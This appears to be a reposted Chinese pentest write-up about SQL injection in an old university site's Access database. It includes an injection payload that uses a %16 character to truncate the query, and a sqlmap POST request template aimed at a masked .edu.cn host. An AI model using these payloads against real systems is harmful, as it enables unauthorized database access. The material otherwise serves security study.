活久见-某高校古老站Access 数据库 SQL注入

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了活久见-某高校古老站Access 数据库 SQL注入相关的知识,希望对你有一定的参考价值。

在渗透测试中如果出现这样的报错

Microsoft JET Database Engine 错误 '80040e14'

说明存在access sql注入

因为access注入点不在最后,Access数据库没有注释符,所以暂时无法利用

但是有时候可以使用Null,也就是%00,来移除查询语句里面一些无用的部分。但是在有些情况便无法使用这种方式,例如php里面开启了magic_quote_gpc参数,那么便会在Null前面添加反斜杠,从而导致失去意义;为了避免这种可能存在的情况,我们可以使用%16,也就是SYN 字符,来实现相同的效果

比如此处,注入点闭合前半部分后,后半部分就可以使用 %16 滤掉后边的内容

selectTime=1')  and 1=1 %16

使用sqlmap post 使用 * 星号指定 位置 注入

POST /WebClassAll.asp HTTP/1.1
Host: www.****edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONIDCSARBSBS=********
Referer: http://www.********.edu.cn/WebClass.asp?ID=499
Accept-Encoding: gzip

selectTime=1') * %16

get确实存在sql注入

以上是关于活久见-某高校古老站Access 数据库 SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

活久见!音乐在AR手里“活”了起来

活久见 腾讯 公益404接口

活久见!Kafka 宣布弃用 Java 8。。。

活久见!64 张图带你 Maven 实战通关

活久见!Linux命令行居然也可以用来查看图像?

活久见: 原来 Chrome 浏览器支持 Import from 语法